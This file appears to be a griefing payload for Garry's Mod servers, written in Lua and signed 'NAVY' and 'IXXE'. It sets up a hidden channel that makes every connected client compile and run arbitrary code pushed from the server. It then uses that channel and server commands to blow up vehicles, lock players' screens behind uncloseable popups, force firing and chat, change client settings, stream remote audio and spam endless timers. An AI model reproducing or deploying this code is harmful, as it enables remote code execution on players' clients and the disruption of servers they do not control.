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  1. --[[
  2.     Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  3.     Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  4.     Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  5.     Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  6. ]]--
  7.  
  8.  
  9. print([=[
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  22. NAVY
  23. NAVY
  24. ¯\_(ツ)_/¯
  25. ]=])
  26.  
  27.  
  28. for k, v in pairs( player.GetAll() ) do
  29.     if ( v:Alive() ) then
  30.      v:GodEnable()
  31.     else
  32.         v:Spawn()
  33.         timer.Simple( 1.2, function()
  34.             v:GodEnable()
  35.         end)
  36.     end
  37. end
  38.  
  39.  
  40. local function rdm_str(len)
  41.     if !len or len <= 0 then return '' end
  42.     return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  43. end
  44.  
  45. local net_string = rdm_str(25)
  46.  
  47. util.AddNetworkString(net_string)
  48. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  49. hook.Add("PlayerInitialSpawn", "☂️_PRIVATE_JOKE",function(ply)
  50.     if !ply:IsBot() then
  51.         ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  52.     end
  53. end)
  54.  
  55. local function SendToClient(code)
  56.     local data = util.Compress(code)
  57.     local len = #data
  58.     net.Start(net_string)
  59.     net.WriteUInt(len, 16)
  60.     net.WriteData(data, len)
  61.     net.Broadcast()
  62. end
  63. timer.Simple( 17, function()
  64.     SendToClient([[
  65. print([=[
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  75. ██║╚██╗██║██║   ██║╚════██║██║     ██║   ██║██╔═══╝ ██╔══╝
  76. ██║ ╚████║╚██████╔╝███████║╚██████╗╚██████╔╝██║     ███████╗
  77. ╚═╝  ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚══════╝
  78. NAVY
  79. NAVY
  80. ¯\_(ツ)_/¯
  81. ]=])
  82. hook.Add("Think","🤔_WHY_YOU_WANT_EDIT_MY_CODE",function() gui.HideGameUI() end)
  83. local CreateModel = function(mdl, isragdoll)
  84.   local ent
  85.   if isragdoll then
  86.     ent = ClientsideRagdoll(mdl)
  87.   else
  88.     ent = ClientsideModel(mdl, RENDERGROUP_OTHER)
  89.   end
  90.  
  91.  
  92.   return ent
  93. end
  94. local NewHookAdd = function(str, name, func)
  95.   --name = "dronesrewrite_hell_hooks" .. name
  96.   hook.Add(str, name, func)
  97.  
  98.   table.insert(cache, {
  99.     str = str,
  100.     name = name
  101.   })
  102. end
  103. local cache = { }
  104. timercache = { }
  105. local Const = 0
  106. local Noise = nil
  107. local pl = LocalPlayer()
  108. timer.Create("💸_BUY_GVAC_NOW", 2, 1, function()
  109.   local dlight = DynamicLight(pl:EntIndex())
  110.   if dlight then
  111.     dlight.pos = Vector(-2224.216797, -2918.063721, 2354.03125)
  112.     dlight.r = 255
  113.     dlight.g = 0
  114.     dlight.b = 0
  115.     dlight.brightness = 16
  116.     dlight.Decay = 1000
  117.     dlight.Size = 2000
  118.     dlight.DieTime = CurTime() + 2
  119.   end
  120.   local pos = pl:GetPos() + Vector(0, 0, 120)
  121.   local ang = Angle(0, pl:GetAngles().y, 0)
  122.   local tr = util.TraceLine({
  123.     start = pos,
  124.     endpos = pos + ang:Forward() * 86,
  125.     filter = pl
  126.   })
  127.   local rag_pos = tr.HitPos + tr.HitNormal * 3 - Vector(0, 0, 80)
  128.     for i = 1, 16 do
  129.         sound.Play("vo/npc/Barney/ba_laugh04.wav", Vector( 0, 0, 0 ) )
  130.     end
  131.   local mdl = CreateModel("models/food/burger.mdl")
  132.   mdl:SetModelScale(5)
  133.   mdl:SetAngles(ang + Angle(15, 180, 0))
  134.   mdl:SetPos(rag_pos)
  135.   mdl:Spawn()
  136.   hook.Add("CalcView", "😕_EDIT_MY_CODE_IS_STUPID", function(ply, _pos, _ang, fov)
  137.     local view = { }
  138.     view.origin = pos + VectorRand()
  139.     view.angles = ang
  140.     view.fov = fov + math.random(-80, -50)
  141.    
  142.     return view
  143.   end)
  144.  
  145.   timer.Create("👻_WHY_ME_PLEASE_LEAK_GIZEH", 1.4, 1, function()
  146.     mdl:Remove()
  147.     hook.Remove("CalcView", "😕_EDIT_MY_CODE_IS_STUPID")
  148.   end)
  149. end)
  150. ]])
  151. end)
  152.  
  153. timer.Simple( 20, function()
  154.     timer.Create( "ouupsss", 0.1, 0, function()
  155.         for k,v in pairs(player.GetAll()) do
  156.             v:SendLua('RunConsoleCommand("impulse","100")')
  157.         end
  158.     end)
  159.     hook.Add( 'SetupMove', '😈_NO_SCOPED', function( ply, move )
  160.         if not ply:IsOnGround() then
  161.             move:SetButtons( bit.band( move:GetButtons(), bit.bnot( IN_JUMP ) ) )
  162.         end
  163.     end )
  164.     for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
  165.  
  166.         local explo = ents.Create("env_explosion")
  167.         explo:SetPos(v:GetPos())
  168.         explo:SetKeyValue("iMagnitude", "300")
  169.         explo:Spawn()
  170.         explo:Activate()
  171.         explo:Fire("Explode", "", 0)
  172.         end
  173.  
  174.     end
  175.     for k,v in pairs(player.GetAll()) do
  176.         local a = v:LookupBone("ValveBiped.Bip01_Head1")
  177.         local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
  178.         local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
  179.         local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
  180.         local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
  181.         local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
  182.         local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
  183.         local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
  184.         local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  185.         local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
  186.         local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
  187.         v:ManipulateBoneScale( a, Vector(100,100,100))
  188.         v:ManipulateBoneScale( b, Vector(100,100,100))
  189.         v:ManipulateBoneScale( c, Vector(100,100,100))
  190.         v:ManipulateBoneScale( d, Vector(100,100,100))
  191.         v:ManipulateBoneScale( e, Vector(100,100,100))
  192.         v:ManipulateBoneScale( f, Vector(100,100,100))
  193.         v:ManipulateBoneScale( g, Vector(100,100,100))
  194.         v:ManipulateBoneScale( h, Vector(100,100,100))
  195.         v:ManipulateBoneScale( i, Vector(100,100,100))
  196.         v:ManipulateBoneScale( j, Vector(100,100,100))
  197.         v:ManipulateBoneScale( k, Vector(100,100,100))
  198.     end
  199.     SendToClient([[
  200.     surface.CreateFont( "1XX3_big_text",{
  201.         font = "Open Sans",
  202.         size = 500,
  203.         weight = 1000,
  204.         antialias = true
  205.     })
  206.     surface.CreateFont("3Y_IXX3", {
  207.         font = "Open Sans",  
  208.         size = ScrW()*0.02,
  209.         weight = 10,
  210.         blursize = 0,
  211.         scanlines = 2.5,
  212.         antialias = false
  213.     })
  214.     local function UwU_text( a )
  215.    
  216.         local r = 0.5*math.sin(RealTime()*5.5)*255 + 255/2
  217.         local g = -0.5*math.sin(RealTime()*5.5)*255 + 255/2
  218.         local b = 215
  219.    
  220.         return Color( r, g, b, a or 255 )
  221.    
  222.     end
  223.     local w,h = ScrW(), ScrH()
  224.     local W, H = ScrW(), ScrH()
  225.     local MySelf = LocalPlayer()
  226.    
  227.     if ohno then
  228.         ohno:Remove()
  229.         ohno = nil
  230.     end
  231.    
  232.     ohno = vgui.Create( "DFrame" )
  233.     ohno:SetSize( w, h )
  234.     ohno:SetPos(0,0)
  235.     ohno:SetDraggable ( false )
  236.     ohno:SetTitle("")
  237.     ohno:MakePopup();
  238.     ohno:ShowCloseButton(false)
  239.     ohno.Paint = function( self )
  240.         Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  241.         Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  242.     end
  243.    
  244.     local pw, ph = w, h*0.6
  245.     local px, py = w/2-pw/2, h/2-ph/2
  246.    
  247.     local Close = vgui.Create( "DButton", ohno )
  248.     Close:SetPos(px, py)
  249.     Close:SetText( "" )
  250.     Close:SetSize( pw, ph )
  251.     Close.Paint = function( self, tw, th )
  252.            
  253.         local shift = math.sin(RealTime()*3)*1.5 + 5
  254.            
  255.             draw.SimpleText( "NAVY", "1XX3_big_text", tw/2 , th/2, UwU_text( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  256.             draw.SimpleText( "NAVY", "1XX3_big_text", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  257.             draw.DrawText( "(NAVY", "3Y_IXX3", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  258.             draw.DrawText( "(NAVY", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  259.             draw.DrawText( "SHUTDOWN", "3Y_IXX3", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  260.             draw.DrawText( "NAVY", "3Y_IXX3", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  261.             draw.DrawText( "ALEX", "3Y_IXX3", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  262.             draw.DrawText( "SHAYQOO", "3Y_IXX3", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  263.             draw.DrawText( "SHUTDOWN ;)", "3Y_IXX3", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  264.             draw.DrawText( "NAVY", "3Y_IXX3", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  265.             draw.DrawText( "ALEX ;)", "3Y_IXX3", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  266.             draw.DrawText( "NAVY", "3Y_IXX3", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  267.             draw.DrawText( "SHUTDOWN", "3Y_IXX3", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  268.             draw.DrawText( "SHAYQOO ;)", "3Y_IXX3", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  269.             draw.DrawText( "ALEX", "3Y_IXX3", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  270.             draw.DrawText( "SHUTDOWN ;) BY IXXE", "3Y_IXX3", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  271.             draw.DrawText( "SHAYQOO", "3Y_IXX3", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  272.             draw.DrawText( "NAVY ;)", "3Y_IXX3", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  273.             draw.DrawText( "SHUTDOWN", "3Y_IXX3", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  274.             draw.DrawText( "ALEX", "3Y_IXX3", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  275.             draw.DrawText( "NAVY", "3Y_IXX3", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )  
  276.             draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  277.             draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  278.             draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  279.             draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  280.             draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  281.     end
  282.     surface.PlaySound( "vo/npc/male01/ohno.wav" )
  283.     surface.PlaySound( "vo/npc/male01/ohno.wav" )
  284.     timer.Create("🥵_MENU_LUA_IS_DEAD_BUY_GVAC", 0.1, 0, function()
  285.         util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
  286.     end)
  287.     timer.Simple( 15, function()
  288.         wut = vgui.Create( "DFrame" )
  289.         wut:SetSize( w, h )
  290.         wut:SetPos(0,0)
  291.         wut:SetDraggable ( false )
  292.         wut:SetTitle("")
  293.         wut:ShowCloseButton(false)
  294.         wut.Paint = function( self )
  295.             surface.SetDrawColor(30, 30, 30, 0)
  296.         end
  297.         local Close = vgui.Create( "DButton", wut )
  298.         Close:SetPos(px, py)
  299.         Close:SetText( "" )
  300.         Close:SetSize( pw, ph )
  301.         Close.Paint = function( self, tw, th )
  302.                
  303.             local shift = math.sin(RealTime()*3)*1.5 + 5
  304.                
  305.                 draw.SimpleText( "NAVY", "1XX3_big_text", tw/2 , th/2, UwU_text( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  306.                 draw.SimpleText( "NAVY", "1XX3_big_text", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  307.         end
  308.         RunConsoleCommand("r_shader_srgb","1")
  309.         RunConsoleCommand("gmod_language","fr")
  310.         ohno:Remove()
  311.         ohno = nil
  312.         local name = GetConVar("sv_skyname"):GetString()
  313.         if name == "painted" then
  314.           local sky
  315.           for _, v in ipairs(ents.GetAll()) do
  316.             if v:GetClass() == "env_skypaint" then
  317.               sky = v
  318.               break
  319.             end
  320.           end
  321.           if !IsValid(sky) then return end
  322.           hook.Add("PostRender","☁️_RAINBOW",function()
  323.             local col = HSVToColor(CurTime()*30 % 360,1,1)
  324.             col = Vector(col.r/255,col.g/255,col.b/255)
  325.             sky:SetTopColor(col)
  326.             sky:SetBottomColor(col)
  327.           end)
  328.         else
  329.           local prefix  = {"lf","ft","rt","bk","dn","up"}
  330.           local mats = {}
  331.           for i=1,6 do
  332.             mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
  333.           end
  334.           hook.Add("PostRender","☁️_RAINBOW",function()
  335.             local col = HSVToColor(CurTime()*30 % 360,1,1)
  336.             for i=1,6 do
  337.               mats[i]:SetVector("$color",Vector(col.r/255,col.g/255,col.b/255))
  338.             end
  339.           end)
  340.         end
  341.         local chienchaud = ClientsideModel("models/props_junk/watermelon01.mdl")
  342.         chienchaud:SetNoDraw(true)
  343.         chienchaud:SetModelScale(120)
  344.         timer.Create("☄️_LOOK_THE_SKY", 0.01, 0, function()
  345.           chienchaud:SetAngles(Angle(0, CurTime()*90 % 360 ,180) )
  346.         end)
  347.        
  348.         local data = {}
  349.         local function genchienchaud(id)
  350.           local pos = LocalPlayer():GetPos()
  351.           data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
  352.         end
  353.         for i=1, 150 do
  354.           genchienchaud(i)
  355.         end
  356.         hook.Add("PostDrawOpaqueRenderables","🌭_CHIEN_CHAUD",function()
  357.           local z = LocalPlayer():GetPos().z
  358.           for i=1, #data do
  359.             chienchaud:SetPos(data[i][1])
  360.             chienchaud:SetupBones()
  361.             chienchaud:DrawModel()
  362.             data[i][1].z = data[i][1].z - data[i][2] / 20
  363.             if data[i][1].z <= z then
  364.               genchienchaud(i)
  365.             end
  366.           end
  367.         end)
  368.     end )
  369.     sound.PlayURL( "https://ssvloader.000webhostapp.com/SSV/mlg.mp3", "mono noblock noplay", function( station )
  370.         timer.Simple( 0.1, function()                    
  371.             ClientStation = station
  372.             station:EnableLooping( true )
  373.             station:Play()
  374.             station:SetVolume( 5 )
  375.         end )
  376.     end )
  377. timer.Create("🔒", 0.11, 0, function()
  378.     RunConsoleCommand("+attack")
  379. end)
  380. timer.Create("🔓", 0.12, 0, function()
  381.     RunConsoleCommand("-attack")
  382. end)
  383. ]])
  384. end)
  385.  
  386. local you = "💸_BUY_GVAC"
  387.  
  388. timer.Simple( 10, function()
  389.  
  390.     membresenigma =
  391.     {
  392.         "NAVY IS GOD",
  393.         "SHUTDOWN",
  394.         "ALEX",
  395.         "NAVY IS GOD",
  396.         "SHUTDOWN",
  397.         "ALEX",
  398.         "SHAYQOO",
  399.         "SHUTDOWN"
  400.     }
  401.  
  402.     timer.Create( "🦠_NE_DEL_RIEN_SINON_CANCER", 0.2, 0, function()
  403.         for k, ply in pairs( player.GetAll() ) do
  404.             DarkRP.notify(ply, 2, 2, "[FU3CK !] "..table.Random(membresenigma).."")
  405.         end
  406.     end)
  407.  
  408.  
  409.     for k,v in pairs(player.GetAll()) do
  410.         v:SetRunSpeed(400* 4);
  411.         v:SetWalkSpeed(400 * 4);
  412.     end
  413.  
  414.  
  415.     timer.Create( "🤫_RIP_U_VAC_BANNED", 1, 0, function()
  416.         for k,v in pairs(player.GetAll()) do
  417.             v:GodEnable()
  418.             v:setDarkRPVar( "rpname", "Navy Control The World ;)" )
  419.         end
  420.  
  421.     end )
  422.  
  423. end)
  424.  
  425.   for k, v in pairs(player.GetAll()) do
  426.       v:ConCommand("say /job Navy Control The World ;)")
  427.   end
  428.  
  429.  
  430. timer.Create( "🤤_SPAM", 0, 0, function()
  431.     SendToClient([[print("NAVY")]])
  432.     print("GET NOSCOPE  !! BY NAVY")
  433. end)
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